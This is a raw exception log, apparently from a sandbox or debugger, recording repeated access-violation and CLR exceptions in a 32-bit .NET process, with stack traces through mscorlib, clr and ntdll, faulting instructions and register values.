RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 15 b1 ba 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6345a1c
registers.esp: 115270196
registers.edi: 115274656
registers.eax: 0
registers.ebp: 115274664
registers.edx: 39297208
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x725d1194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x724a2ba1
mscorlib+0x30049e @ 0x6ef8049e
mscorlib+0x300469 @ 0x6ef80469
mscorlib+0x306466 @ 0x6ef86466
mscorlib+0x36c64e @ 0x6efec64e
mscorlib+0x36c706 @ 0x6efec706
mscorlib+0x36cc32 @ 0x6efecc32
mscorlib+0x30027d @ 0x6ef8027d
mscorlib+0xad29e4 @ 0x6f7529e4
0x6345b39
0x6346586
mscorlib+0xa3aba7 @ 0x6f6baba7
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0xa2c7fa @ 0x6f6ac7fa
mscorlib+0xb57e81 @ 0x6f7d7e81
mscorlib+0xa2c5f8 @ 0x6f6ac5f8
mscorlib+0xd4c010 @ 0x6f9cc010
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x382cf2 @ 0x6f002cf2
mscorlib+0x34c5a2 @ 0x6efcc5a2
mscorlib+0xa2bd74 @ 0x6f6abd74
mscorlib+0xa2be6f @ 0x6f6abe6f
mscorlib+0xa34d2d @ 0x6f6b4d2d
mscorlib+0xa362f1 @ 0x6f6b62f1
mscorlib+0xa35383 @ 0x6f6b5383
mscorlib+0xa3506f @ 0x6f6b506f
0x6345b98
0x6346586
mscorlib+0xa3aba7 @ 0x6f6baba7
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0xa2c7fa @ 0x6f6ac7fa
mscorlib+0xb57e81 @ 0x6f7d7e81
mscorlib+0xa2c5f8 @ 0x6f6ac5f8
mscorlib+0xd4c010 @ 0x6f9cc010
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x382cf2 @ 0x6f002cf2
mscorlib+0x34c5a2 @ 0x6efcc5a2
mscorlib+0xa2bd74 @ 0x6f6abd74
mscorlib+0xa2be6f @ 0x6f6abe6f
mscorlib+0xa34d2d @ 0x6f6b4d2d
mscorlib+0xa362f1 @ 0x6f6b62f1
mscorlib+0xa35383 @ 0x6f6b5383
mscorlib+0xa3506f @ 0x6f6b506f
0x6345b98
0x6346586
mscorlib+0xa3aba7 @ 0x6f6baba7
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0xa2c7fa @ 0x6f6ac7fa
mscorlib+0xb57e81 @ 0x6f7d7e81
mscorlib+0xa2c5f8 @ 0x6f6ac5f8
mscorlib+0xd4c010 @ 0x6f9cc010
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x382cf2 @ 0x6f002cf2
mscorlib+0x34c5a2 @ 0x6efcc5a2

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 120708440
registers.edi: 0
registers.eax: 120708440
registers.ebp: 120708520
registers.edx: 18
registers.ebx: 113643144
registers.esi: 113126008
registers.ecx: 3858105507
1 0 0

__exception__

 stacktrace: 
mscorlib+0xa397cb @ 0x6f6b97cb
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0xa2c7fa @ 0x6f6ac7fa
mscorlib+0xb57e81 @ 0x6f7d7e81
mscorlib+0x34b4f2 @ 0x6efcb4f2
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 1f 87 eb 6e 89 45 c0 83 7d c0 00 75 0f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x75023e
registers.esp: 120713600
registers.edi: 120713800
registers.eax: 0
registers.ebp: 120713812
registers.edx: 38461252
registers.ebx: 0
registers.esi: 157754416
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
mscorlib+0xa397cb @ 0x6f6b97cb
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0xa2c7fa @ 0x6f6ac7fa
mscorlib+0xb57e81 @ 0x6f7d7e81
mscorlib+0xa2c5f8 @ 0x6f6ac5f8
mscorlib+0xd4c010 @ 0x6f9cc010
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x382cf2 @ 0x6f002cf2
mscorlib+0x34c5a2 @ 0x6efcc5a2
mscorlib+0xa2bd74 @ 0x6f6abd74
mscorlib+0xa2be6f @ 0x6f6abe6f
mscorlib+0xa34d2d @ 0x6f6b4d2d
mscorlib+0xa3458c @ 0x6f6b458c
0x634c1a0
0x634227d
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 1f 87 eb 6e 89 45 c0 83 7d c0 00 75 0f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x75023e
registers.esp: 119137708
registers.edi: 119137908
registers.eax: 0
registers.ebp: 119137920
registers.edx: 38461252
registers.ebx: 0
registers.esi: 157754416
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
mscorlib+0xa397cb @ 0x6f6b97cb
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0xa2c7fa @ 0x6f6ac7fa
mscorlib+0xb57e81 @ 0x6f7d7e81
mscorlib+0x34b4f2 @ 0x6efcb4f2
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 1f 87 eb 6e 89 45 c0 83 7d c0 00 75 0f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x75023e
registers.esp: 133557104
registers.edi: 133557304
registers.eax: 0
registers.ebp: 133557316
registers.edx: 38461252
registers.ebx: 0
registers.esi: 157754416
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x634c0ac
0x634227d
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139172
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139116
registers.ecx: 158730728
1 0 0

__exception__

 stacktrace: 
0x634c097
0x634227d
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138564
registers.edi: 119138736
registers.eax: 0
registers.ebp: 119138752
registers.edx: 0
registers.ebx: 39338560
registers.esi: 159353696
registers.ecx: 159353696
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x634c0ac
0x634227d
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139172
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139116
registers.ecx: 159353696
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x634c0ac
0x634227d
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139172
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139116
registers.ecx: 159978120
1 0 0

__exception__

 stacktrace: 
0x634c097
0x634227d
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138564
registers.edi: 119138736
registers.eax: 0
registers.ebp: 119138752
registers.edx: 0
registers.ebx: 39338560
registers.esi: 160610752
registers.ecx: 160610752
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x634c0ac
0x634227d
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139172
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139116
registers.ecx: 160610752
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x751907
0x63423fa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 159215364
1 0 0

__exception__

 stacktrace: 
0x7518f0
0x63423fa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
